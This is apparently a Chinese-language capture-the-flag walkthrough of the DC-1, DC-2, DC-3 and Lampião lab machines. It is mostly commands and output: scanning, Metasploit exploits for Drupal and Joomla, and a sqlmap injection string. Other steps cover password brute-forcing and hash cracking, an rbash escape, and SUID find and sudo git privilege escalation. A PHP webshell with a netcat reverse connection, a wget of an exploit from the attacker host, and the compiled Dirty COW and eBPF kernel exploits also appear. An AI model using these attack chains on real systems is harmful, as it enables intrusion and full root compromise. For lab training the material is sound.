打开靶机
扫描存活主机确定 DC-1 的ip地址,使用 nmap
nmap -sS 网段
nmap -sP 192.168.43.0/24
找到 ip 为 192.168.43.220
使用 nmap 进行端口扫描
nmap -sV -A -p- 192.168.43.220
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
110/tcp open tcpwrapped
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34513/tcp status
| 100024 1 39131/tcp6 status
| 100024 1 40438/udp6 status
|_ 100024 1 47867/udp status
34513/tcp open status 1 (RPC #100024)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 3.X
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:3.2
OS details: Actiontec MI424WR-GEN3I WAP, Linux 3.2
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 1.01 ms bogon (192.168.71.2)
2 1.28 ms DC-1 (192.168.43.220)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.18 seconds
进入网页,尝试登陆,失败,弱口令爆破,失败
尝试进行 robots.txt 访问出有效信息失败,使用御剑扫描,基本上涵盖了 robots.txt,无用…
看看页面还有什么其他功能,忘记密码点一下
需要邮箱验证,失败,试着检索网页漏洞,使用 nikto 或者 nmap 进行检索扫描
nikto -host ip
nmap -A -p80 ip
获得版本
|_http-generator: Drupal 7 (http://drupal.org)
使用 msf 搜索历史漏洞
配置个 rhost ,直接开 run,可以看到已经进入其中,但是确实空指针,那么我们用
python -c "import pty;pty.spawn('/bin/sh')"
python -c "import pty;pty.spawn('/bin/bash')"
来生成虚拟终端
shell
通过 ls 查看到 flag1.txt ,查看内容
flag1.txt 是一个提示,说明需要查看 cms 的 config 文件,加下来就是找到 config 文件查看,获取下一条信息,百度找到配置文件的位置
sites/default/settings.php
通过 find 指令找到该配置文件
查看配置文件,发现里面有一个 flag2 提示
看下面数据库配置,找他的账号密码
账号:dbuser
密码:R0ck3t
登录 mysql
登陆成功,看数据库
使用该数据库查表
查到 users ,查字段名
查字段内容
uid| name | pass
1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
3 | 111 | $S$Dizp6MYg1.uw44C8no7cYP9w/AElOCPhid43L3DJobHh.2wdmeuC
发现用户名和密码的字段,但是发现加密方式啥也看不懂,或许有本地加密文件,搜索一下
find / -name "*pass*"
发现了这个文件
/var/www/scripts/password-hash.sh
在网上搜使用方法
php password-hash.sh 密码,就会出现密码(在/var/www/html目录底下执行)
php scripts/password-hash.sh 密码
password: 123456 hash: $S$DS6uKNmdpYCcgbdHEpADltHsdMxqCfzxaXHOt.4yn5rSjHCMWRj9
将这个加密的哈希值替换原来数据库中的哈希值密码,进入 MySQL
UPDATE users SET pass="$S$DS6uKNmdpYCcgbdHEpADltHsdMxqCfzxaXHOt.4yn5rSjHCMWRj9" where uid=1 ;
成功,登陆后台查看,成功,点击 Find content
,找到 flag3
flag3 提示exec
和 shell
,接下来就是找 flag4 了
find / -name "flag4*"
找到 flag4.txt ,查看其内容
查看当前用户有哪些权限
find / -perm -u=s 2>/dev/null
find / -perm -4000 2>/dev/null
先创建文件,再使用 find 提权
touch 111
find 111 -exec '/bin/sh' \;
进入 root 目录,查看最终的 thefinalflag.txt
打开靶机虚拟机
扫描存活主机确定DC-2的ip地址,使用 nmap
nmap -sP xxx.xxx.xxx.xxx
这不直接发现 DC-1,IP 为192.168.43.52
利用namp、scanport 扫描DC-2开放的端口
nmap -sV -A -p- 192.168.43.52
-sV探测服务器版本
PORT STATE SERVICE VERSION
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
| http-title: DC-2 – Just another WordPress site
|_Requested resource was http://dc-2/
|_http-generator: WordPress 4.7.10
110/tcp open tcpwrapped
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X|3.X
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 25/tcp)
HOP RTT ADDRESS
1 2.17 ms bogon (192.168.71.2)
2 2.19 ms DC-2 (192.168.43.52)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.52 seconds
访问 80 端口失败,被重定向到 dc-2 ,确认靶机
在C:\Windows\System32\drivers\etc
路径下修改hosts
文件添加数据即可成功,记得清理缓存
192.168.43.52 dc
找到 flag 要用 cewl,尝试登录用户,查看框架
根据上文提示,我们需要登录到 wordpress 的后台,使用御剑扫描
尝试登陆,使用漏扫工具wpscan
wpscan:采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞
学习网址:https://idc.wanyunshuju.com/aqst/1885.html
wpscan --ignore-main-redirect --url http://192.168.43.52 --enumerate u --force
扫描出tom、admin、jerry
三个用户,根据flag1的提示,使用cewl生成密码
cewl http://dc-2/ -w passwd.txt
用 bp 爆破密码
tom parturient
jerry adipiscing
tom 账户进入
尝试登陆 ssh,成功,使用 cat 查看文件,没有 cat 指令,使用 vi 编辑器,成功。
获得 flag3.txt
为什么到 flag3.txt 了,一定忽略了什么,尝试登录 ssh jerry 的账户,失败,那么就在管理页面了,果然找到了
继续根据 flag3.txt 提示,因为之前有各种限制,所以进行-rbash
绕过
通过搜索发现可以使用 vi 编辑器绕过
vi:set shell=/bin/sh
运行shell:shell
使用 flag3.txt 来进行 rbash
绕过,先进行:
命令,再进行写入命令
新建一个文件,末行命令,回车
vi s
:set shell=/bin/sh
:shell
在终端
设置环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
进行切换账户
su jerry
输入密码,即可进入账户
找到 flag4.txt,这里提示是使用 git 提权方法
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !‘sh’ #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
命令行执行 sudo git help config
进入后在底层模式输入 !/bin/bash 完成提权
完成!!!
进入靶机
使用 nmap 判断靶机 IP
nmap -sP 192.168.43.0/24
确定 DC-3 的 ip:192.168.43.67
使用 nmap 扫描 80 端口信息
nmap -A -p80 192.168.43.67
可以看到是 Joomla
,使用 joomscan 扫一下版本
joomscan --url http://192.168.43.67
使用 kali 的 searchsploit
检索这个版本的漏洞,使用 42033.txt ,-x 查看详细信息
searchspliot -x php/webapps/42033.txt
还附有路径,可以发现这个是 SQL 报错盲注,下面附上了 sqlmap 指令,那么要进行库,表,字段,字段内容的爆破了
首先爆库:
sqlmap -u "http://192.168.43.67/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbs
爆表:
sqlmap -u "http://192.168.43.67/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables
+---------------------+
| #__assets |
| #__associations |
| #__banner_clients |
| #__banner_tracks |
| #__banners |
| #__bsms_admin |
| #__bsms_books |
| #__bsms_comments |
| #__bsms_locations |
| #__bsms_mediafiles |
| #__bsms_message_typ |
| #__bsms_podcast |
| #__bsms_series |
| #__bsms_servers |
| #__bsms_studies |
| #__bsms_studytopics |
| #__bsms_teachers |
| #__bsms_templatecod |
| #__bsms_templates |
| #__bsms_timeset |
| #__bsms_topics |
| #__bsms_update |
| #__categories |
| #__contact_details |
| #__content_frontpag |
| #__content_rating |
| #__content_types |
| #__content |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions |
| #__fields_categorie |
| #__fields_groups |
| #__fields_values |
| #__fields |
| #__finder_filters |
| #__finder_links_ter |
| #__finder_links |
| #__finder_taxonomy_ |
| #__finder_taxonomy |
| #__finder_terms_com |
| #__finder_terms |
| #__finder_tokens_ag |
| #__finder_tokens |
| #__finder_types |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages |
| #__menu_types |
| #__menu |
| #__messages_cfg |
| #__messages |
| #__modules_menu |
| #__modules |
| #__newsfeeds |
| #__overrider |
| #__postinstall_mess |
| #__redirect_links |
| #__schemas |
| #__session |
| #__tags |
| #__template_styles |
| #__ucm_base |
| #__ucm_content |
| #__ucm_history |
| #__update_sites_ext |
| #__update_sites |
| #__updates |
| #__user_keys |
| #__user_notes |
| #__user_profiles |
| #__user_usergroup_m |
| #__usergroups |
| #__users |
| #__utf8_conversion |
| #__viewlevels |
+---------------------+
爆字段及其内容:
sqlmap -u "http://192.168.43.67/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T "#__users" --columns --dump
选项不再是默认了,需要改一下频率 " y y 1 回车 回车"
账号:admin
密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
既然看到加密了,那就用 john 试着爆破一下哈希值
john --wordlist=/usr/share/john/rockyou.txt --format=bcrypt hash.txt
密码 :snoopy
在 kali 中登录这个网站,打开 msf ,搜索之前的漏洞,使用 id=0 的模块
search Joomla 3.7.0
打开 options ,将 rhosts 修改为目标机,直接 run
可以看到已经进入,但是是空指针,所以我们要生成虚拟终端,输入
python -c 'import pty; pty.spawn("/bin/bash")'
发现不行,换一种方法,重新进入后台,看有没有什么上传点,点击模板
再点击模板选项,将 php 写入其中
将所有最高权限的设置全部启用
点击一个模板,将模板中的 php 文件写成大马,创建一个 php 文件,再写文件
http://192.168.43.67/templates/beez3/111.php
进入大马,点击反向链接
用 nc 进行连接,配置 ip 为攻击机 ip ,配置端口,kali 监听配置
使用 c 点击开始,可以看到已经连接,这时生成一个虚拟终端看行不行
python -c 'import pty; pty.spawn("/bin/bash")'
成功,来搜索系统信息uname lsb_release
可以看到是Ubuntu 16.04 LTS``Linux DC-3 4.4.0-21-generic
,搜索 exp 提权工具
searchsploit Ubuntu 16.04
这个就挺好,先查看具体信息
searchsploit -x linux/dos/46529.c
/usr/share/exploitdb/exploits/linux/local/39772.txt #路径
网站下载,或者直接 kali 拉都可以
https://www.exploit-db.com/exploits/39772
根据说明下载39772.zip,但直接下载会拒绝连接,我这里直接找别人要的
上传成功
解压
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
ls
./doubleput
已经是 root 权限了,进入 root 目录,找 flag.txt
完成
打开靶机,使用 nmap 确定靶机的 ip
nmap -sP 192.168.43.0/24
扫描端口具体信息
nmap -A -p80 192.168.43.75
没什么有效信息,那么进行端口扫描
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
|_http-server-header: Apache/2.4.7 (Ubuntu)
Drupal 7
进入页面
有没有感觉很眼熟啊喂,看了上面的信息Drupal 7
,直接上 msf 找漏洞,看有没有可以利用的漏洞
search Drupal 7
use 1
set rhosts 目标机
set rport 端口号
run
进入了其中,我们需要生成一个虚拟终端来搞
shell
python -c 'import pty; pty.spawn("/bin/bash")'
检索系统信息
查看当前用户有哪些权限
find / -perm -u=s 2>/dev/null
find / -perm -4000 2>/dev/null
利用系统版本漏洞提权
Ubuntu 14.04.5
经过三个小时的努力,系统 ubuntu14.04.5漏洞可以使用,也能用脏牛漏洞
之前不行是因为 python 服务打不开,原因是 python3 环境,需要开放一个临时服务器用来传输数据
在 kali 中的searchsploit
搜索漏洞
searchsploit dirty
查看漏洞具体信息
searchsploit -x linux/local/40847.cpp
将文件复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/桌面/40847.cpp
将文件上传到目标机
wget http://攻击机ip:8000/40847.cpp"
使用 g++ 编译文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow
成功,显示 ssh 密码
登录 ssh,用户名root
密码 dirtyCowFun
成功